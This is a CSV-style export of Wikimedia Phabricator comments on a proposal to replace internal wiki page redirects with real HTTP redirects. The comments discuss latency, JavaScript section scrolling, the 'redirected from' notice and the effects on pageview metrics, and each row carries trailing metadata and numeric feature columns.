+IRC log: https://tools.wmflabs.org/meetbot/wikimedia-office/2017/wikimedia-office.2017-06-28-21.00.log.html",,,1498824852,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+885132,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3386679, @Tgr wrote:
+> [...] And the UX is broken in multiple ways 
+
+I've forked that issue to {T169282} to avoid multiple issues here.
+",,,1498779063,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+885074,Consider changing wikipage redirects to be proper HTTP redirects,"The rule number 1 in the document is to make fewer HTTP requests in general, but allegedly there are 2 requests for CSS and 2-3 requests for Javascript, so I don't get why you're so strict about rule number 11.
+
+Anyway, how much longer does it //actually take// to load a redirect page to the same domain compared to a normal page? How much are you willing to accept?
+
+Consider keep-alive connections and all other optimizations that make sense for this kind of redirects.",,,1498774978,,PHID-USER-qwxkrd4xi74hgc24cflz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0
+885055,Consider changing wikipage redirects to be proper HTTP redirects,">which influence only latency but not bandwidth, does not really matter from the performance point of view. 
+The effect of redirects on user perceived performance is well known and documented. Perceived performance by the user is driven by the time it took to see the first content displayed, HTTP redirects -by definition- delay the 1st paint of your page as it is now happening X milliseconds after, X being the time it took to do the redirects. A page with a myriad of image requests could actually display content immediately, the number of image requests and perceived performance are not necessarily related (they could be but that will not be true for every site)
+
+Regardless we might decide to go with the HTTP redirects for other reasons (SEO, whatever).
+
+For reference: Note rule 11 in this document, these guidelines that are almost a decade old: http://stevesouders.com/hpws/rules.php",,,1498773143,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+885048,Consider changing wikipage redirects to be proper HTTP redirects,"> The cost I was referring to is for the more common ""plain"" redirects, e.g. Foo > Bar, with no section being involved. In that case you previously just follow a link to load a page, and you now follow a link, wait for the browser to receive the redirect, wait for the browser to follow that link instead, and then the page will load.
+
+According to [this page](https://varvy.com/tools/requests/) it takes 22 requests to load the [Wikipedia's main page](https://en.wikipedia.org/wiki/Main_Page). It counted 2 CSS files and 1 Javascript file, according to your answer it might sometimes take 2 or 3 Javascript requests. Most of the requests are due to images, which can get into hundreds for more rich pages. So as I see it, adding a couple of HTTP redirects, which influence only latency but not bandwidth, does not really matter from the performance point of view. If you want to dramatically improve performance, you should be limiting the number of images per page. Note that limiting the number of requests per page will conflict with good user experience in every case.",,,1498772353,,PHID-USER-qwxkrd4xi74hgc24cflz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+884994,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3389987, @Zazpot wrote:
+>>>! In T53736#3389432, @Krinkle wrote:
+>> [..] instead respond with a native browser redirect. [..] This solves the problem,** but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)**
+> 
+> [..]
+> 
+> So, for me at least, and other editors and readers like me, Solution 1 would be a big performance improvement :-)
+
+Agreed, definitely. Even for users with JavaScript enabled (who don't have to do any manual work) the section will appear sooner with an HTTP redirect because currently, they:
+1. Start loading the page.
+2. Wait for 2 or 3 JavaScript request.
+3. Wait for the page to finish loading.
+4. Wait for JavaScript to jump to the section.
+
+Those 2-3 javascript request, as being http requests, take just as long as multiple http redirect requests would take. So for the use case of redirect-to-a-section, this proposal is universal improvement.
+
+The cost I was referring to is for the more common ""plain"" redirects, e.g. Foo > Bar, with no section being involved. In that case you previously just follow a link to load a page, and you now follow a link, wait for the browser to receive the redirect, wait for the browser to follow that link instead, and then the page will load.",,,1498768107,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+884516,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3389432, @Krinkle wrote:
+> This proposal is to get rid of that and come up with something better. Solution 1 is to remove the logic that makes the server respond with the content of the target of the redirect and instead respond with a native browser redirect. This means the browser will be told, ""nothing here, go to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017` instead."". The browser then essentially aborts the load, updates the browser bar, and goes to make another request to the server (transparent to the user). This solves the problem,** but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)**
+
+(Emphasis mine.)
+
+For a user (like me) who almost never uses JavaScript on Wikipedia, Solution 1 as described in your quote would //not// come at the cost of performance. Instead, it would get me to the relevant anchor much faster than is presently the case. This is because waiting for a second HTTP request/response to complete is almost inevitably quicker than the current process of:
+
+- being puzzled about why you are being shown something that does not seem to match the link you clicked
+- looking for a little notice about having been redirected
+- remembering that this bug exists (if you even know that it does, which I'm sure many editors don't)
+- trying to figure out which place in the present page your browser would have taken you to if you used JavaScript
+- manually scrolling your viewport to that part of the page
+
+The process above typically takes several seconds for a practised user. For an unpractised user, they might never identify the intended part of the page (i.e. they might find themselves at the top of a long page whose lede does not make it obvious that it addresses the matter they intended to navigate to, and give up).
+
+By contrast, an HTTP request/response takes fractions of a second.
+
+So, for me at least, and other editors and readers like me, Solution 1 would be a big performance improvement :-)",,,1498729446,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+884509,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3380977, @GWicke wrote:
+>>>! In T53736#3365130, @Zazpot wrote:
+>>>>! In T53736#3349657, @GWicke wrote:
+>>> In the past, we discussed adding the ""redirected from"" thing in client-side javascript.
+>> 
+>> It's unclear (to me) from this remark whether you spotted that the purpose of this issue is, at least in part, to handle cases where client-side JavaScript is not present (e.g. a browser that does not support JavaScript, or that has JavaScript disabled). Probably you already understood that, but I'm adding this clarificatory remark just in case not ;)
+> 
+> To clarify: I was talking about the ""redirected from"" notice, which at least the current description does not call out as needs-to-work-without-JS. While fundamental functionality like linking clearly shouldn't rely on JS, it might make sense to rely on JS for less critical features like small notices aimed primarily at editors, especially when that enables better cache performance.
+
+Speaking as an editor who:
+
+- almost never uses JavaScript, and
+- reads and makes use of (""consumes""?) the ""redirected from"" notices
+
+I would be pretty puzzled - and subsequently annoyed - if they suddenly stopped being shown, even if this bug is fixed. Frankly, if they are removed in the process of fixing this bug, then I would feel compelled to file a new bug report about their removal, asking for them to be restored.",,,1498728579,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1
+884395,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3389275, @Nirzar wrote:
+> One question: 
+> 
+>>Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section).
+> 
+> Why do we need JS to actually scroll to the position? what if the source link contains the the section name and we append the section as # at the end of URL, wouldn't the browser scroll to that position on its own?
+>  
+> like this > https://en.wikipedia.org/wiki/Yucat%C3%A1n_Peninsula#Climate
+
+The bug described here in particular is about redirecting to a section. Regular links to sections within an article work fine. A link `[[Foo#Bar]]` will produce a link like `https://en.wikipedia.org/wiki/Foo#Bar` which, as you say, will make the browser naturally jump to the anchor on that page in question.
+
+The problem here is if you create a link to `[[Foo 2017]]`, and then imagine `Foo 2017` being a redirect to `Foo events#Foo 2017`. In that case your browser will follow the link as `https://en.wikipedia.org/wiki/Foo_2017` which then results in the server responding with the content for the `Foo_events` article. There is no anchor in your address bar at this point, because it wasn't specified on the incoming link. In theory you could link to `[[Foo 2017#Foo 2017]]`, but then again, if the editor knew `Foo 2017` was a redirect it would've just linked to  `Foo events#Foo 2017` proper. The scenario here is a redirect. E.g. when articles are merged, or when a topic doesn't yet have its own article.
+
+Currently, when you request an article that is a redirect, the server responds with the content of the target article and a message saying ""Redirected from: Foo 2017"". In addition, if the redirect page specifies a section anchor, there is also some invisible meta data that then instructs some JavaScript code to scroll to section `Foo 2017` and even update your browser address bar from `https://en.wikipedia.org/wiki/Foo_2017` to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017`.
+
+Example: <https://en.wikipedia.org/wiki/Economy_of_Christmas_Island>
+Renders invisibly as <https://en.wikipedia.org/wiki/Christmas_Island> with a ""Redirected from"" message on top, JS jumps to `#Economy`, JS updates address bar.
+
+This proposal is to get rid of that and come up with something better. Solution 1 is to remove the logic that makes the server respond with the content of the target of the redirect and instead respond with a native browser redirect. This means the browser will be told, ""nothing here, go to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017` instead."". The browser then essentially aborts the load, updates the browser bar, and goes to make another request to the server (transparent to the user). This solves the problem, but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)",,,1498701223,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+884393,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3389275, @Nirzar wrote:
+> One question: 
+> 
+>>Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section).
+> 
+> Why do we need JS to actually scroll to the position? what if the source link contains the the section name and we append the section as # at the end of URL, wouldn't the browser scroll to that position on its own?
+>  
+> like this > https://en.wikipedia.org/wiki/Yucat%C3%A1n_Peninsula#Climate
+
+The bug described here in particular is about redirecting to a section. Regular links to sections within an article work fine. A link `[[Foo#Bar]]` will produce a link like `https://en.wikipedia.org/wiki/Foo#Bar` which, as you say, will make the browser naturally jump to the anchor on that page in question.
+
+The problem here is if you create a link to `[[Foo 2017]]`, and then imagine `Foo 2017` being a redirect to `Foo events#Foo 2017`. In that case your browser will follow the link as `https://en.wikipedia.org/wiki/Foo_2017` which then results in the server responding with the content for the `Foo_events` article. There is no anchor in your address bar at this point, because it wasn't specified on the incoming link. In theory you could link to `[[Foo 2017#Foo 2017]]`, but then again, if the editor knew `Foo 2017` was a redirect it would've just linked to  `Foo events#Foo 2017` proper. The scenario here is a redirect. E.g. when articles are merged, or when a topic doesn't yet have its own article.
+
+Currently, when you request an article that is a redirect, the server responds with the content of the target article and a message saying ""Redirected from: Foo 2017"". In addition, if the redirect page specifies a section anchor, there is also some invisible meta data that then instructs some JavaScript code to scroll to section `Foo 2017` and even update your browser address bar from `https://en.wikipedia.org/wiki/Foo_2017` to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017`.
+
+This proposal is to get rid of that and come up with something better. Solution 1 is to remove the logic that makes the server respond with the content of the target of the redirect and instead respond with a native browser redirect. This means the browser will be told, ""nothing here, go to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017` instead."". The browser then essentially aborts the load, updates the browser bar, and goes to make another request to the server (transparent to the user). This solves the problem, but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)",,,1498700954,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+884346,Consider changing wikipage redirects to be proper HTTP redirects,"One question: 
+
+>Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section).
+
+Why do we need JS to actually scroll to the position? what if the source link contains the the section name and we append the section as # at the end of URL, wouldn't the browser scroll to that position on its own?
+ 
+like this > https://en.wikipedia.org/wiki/Yucat%C3%A1n_Peninsula#Climate
+
+",,,1498695094,,PHID-USER-ed7ta55b47bd3ag6cnuw,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+884180,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3381860, @petr.matas wrote:
+>>>! In T53736#3380437, @Krinkle wrote:
+>> So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`.
+> 
+> Note that a much prettier `/?title=Target&rdfrom=Redirect#Section` works too and with the parameters swapped I like it even more. How about introducing something like `$wgIndexPath=""/""`? (See T18659#215617)
+
+Let's keep that outside the scope for now. `/w/index.php?` is the established entry point for MediaWiki. The problem is that users should, as much as possible, see the canonical address (`/wiki/Target`) for the destination article - which is the url we want users to see and share. If we need a different url to set a query parameter, the compromise is already made. How long that ""special"" will be is of secondary concern, and I'd say consistency triumphs here. If we do want to adopt shorter urls for urls with query parameters, that should be, and already is, a separate proposal that will apply to everything at once.
+
+>>! In T53736#3380977, @GWicke wrote:
+> To clarify: I was talking about the ""redirected from"" notice, which at least the current description does not call out as needs-to-work-without-JS. While fundamental functionality like linking clearly shouldn't rely on JS, it might make sense to rely on JS for less critical features like small notices aimed primarily at editors, especially when that enables better cache performance.
+
+Agreed. But we already use separate Varnish cache objects for these today and I don't think any of the proposed solutions are affected by whether or not we strip the query parameter. I'd prefer we keep this optimisation as a follow-up change proposal.",,,1498681403,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+883974,Consider changing wikipage redirects to be proper HTTP redirects,@Tgr I will take a look. we did some work around redirect notice using toast messages for mobilefrontend. ,,,1498668843,,PHID-USER-ed7ta55b47bd3ag6cnuw,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0
+883967,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3386706, @daniel wrote:
+> @Tgr Do you have anyone in particular in mind? Feel free to ping anyone you think should be involved. 
+
+No one specific. Maybe @Nirzar or @Pginer-WMF can recommend someone who would be interested. (Is this a reading or an editing feature? Seems to be a bit of both.)
+
+Quick UX summary: when you visit a redirect page, we display the target page with [[https://commons.wikimedia.org/wiki/File:EnWiki_redirect_-_Pichilemo.png#/media/File:EnWiki_redirect_-_Pichilemo.png|a small notice]] below the title (so the user understands how they ended up here after clicking on a different title)), and use Javascript to update the URL to that of the target page. When the redirect points to a specific section of the larger article (e.g. https://en.wikipedia.org/wiki/Camden_Market_Fire ), we use Javascript to scroll to the target section. This has a couple problems: with JS, the user never sees the redirection notice and might not understand what is happening. (It doesn't help that sometimes the connection between the redirect and the target section is not obvious.) Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section).",,,1498668625,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+883787,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3382857, @Jdlrobson wrote:
+> Just an FYI, in mobile we show a notification (see screenshot) when a redirect happens:
+> F8538184
+> Will it be possible to retain this behaviour?
+
+Depending on what we end up doing, you'll probably need to reimplement some pieces, but surely it'll be still possible. This seems functionally equivalent to the ""Redirected from"" notice on desktop and we're keeping that.
+
+
+
+>>! In T53736#3386706, @daniel wrote:
+> @Tgr Do you have anyone in particular in mind? Feel free to ping anyone you think should be involved. 
+> 
+> I can't find any tag for ""this is UX relevant""... why is that? 
+
+The closest thing is #design I guess.",,,1498660006,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1
+883742,Consider changing wikipage redirects to be proper HTTP redirects,"@Tgr Do you have anyone in particular in mind? Feel free to ping anyone you think should be involved. 
+
+I can't find any tag for ""this is UX relevant""... why is that? ",,,1498658204,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0
+883730,Consider changing wikipage redirects to be proper HTTP redirects,"Will there be anyone with UX expertise at the IRC discussion? This seems more like a user experience question than a technical one. And the UX is broken in multiple ways (for example, the ""redirected from"" text is at the top of the article, but when section targeting works the user does not see that message), so we might want to look for a more innovative solution.",,,1498657776,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+883277,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3383868, @Nuria wrote:
+>>In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
+> Coupling request in our system is never easy, as we have no session identifier send to the backend but regardless in this case we should not need to do that if a 301 is followwed by a 200. 
+> Now, It is a bit more complicated for other metrics that re not pageviews, cause now cookies are being set on your initial 301 request. So cookies are set ""before"" a pageview happens.
+> 
+> Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 
+> 
+It's good that the total number of pageviews won't be affected (speaking as someone who tracks trends in this metric). 
+However, it seems that views will now counted towards the target page (""Barack_Obama"") instead of the redirect page (""barak_obama""), and that's a major change. As I said above, it may have advantages and disadvantages - but definitely something to be aware of, and to alert users of this data about when the time comes. It may also be worth setting up a separate mechanism for tracking redirect views then, because that information definitely gets used (see e.g. https://en.wikipedia.org/wiki/Wikipedia:Redirect#Reasons_for_not_deleting #5 ).",,,1498596759,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1
+883155,Consider changing wikipage redirects to be proper HTTP redirects,">In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
+Coupling request in our system is never easy, as we have no session identifier send to the backend but regardless in this case we should not need to do that if a 301 is followwed by a 200. 
+Now, It is a bit more complicated for other metrics that re not pageviews, cause now cookies are being set on your initial 301 request. So cookies are set ""before"" a pageview happens.
+
+Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 
+
+ In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pageview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: https://blog.wikimedia.org/2016/03/30/unique-devices-dataset/
+
+I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too.
+
+This is not to say we cannot adjust on our end, we can, we just need a heads up. 
+",,,1498588059,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,1,0,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+883140,Consider changing wikipage redirects to be proper HTTP redirects,">In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
+No, it is a bit more complicated cause now cookies are being set on your initial 301 request, which technically is not a pageview per our definition, as it is a redirect. 
+
+Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 
+
+ In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pgeview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: https://blog.wikimedia.org/2016/03/30/unique-devices-dataset/
+
+I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too.
+
+This is not to say we cannot adjust on our end, we can, we just need a heads up. 
+",,,1498587520,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+883136,Consider changing wikipage redirects to be proper HTTP redirects,">In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
+No, it is a bit more complicated cause now cookies are being set on your initial 301 request, which technically is not a pageview per our definition, as it is a redirect. 
+
+Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 
+
+ In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pgeview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: https://blog.wikimedia.org/2016/03/30/unique-devices-dataset/
+
+I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too. 
+",,,1498587438,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+882981,Consider changing wikipage redirects to be proper HTTP redirects,"Just an FYI, in mobile we show a notification (see screenshot) when a redirect happens:
+{F8538184}
+Will it be possible to retain this behaviour?
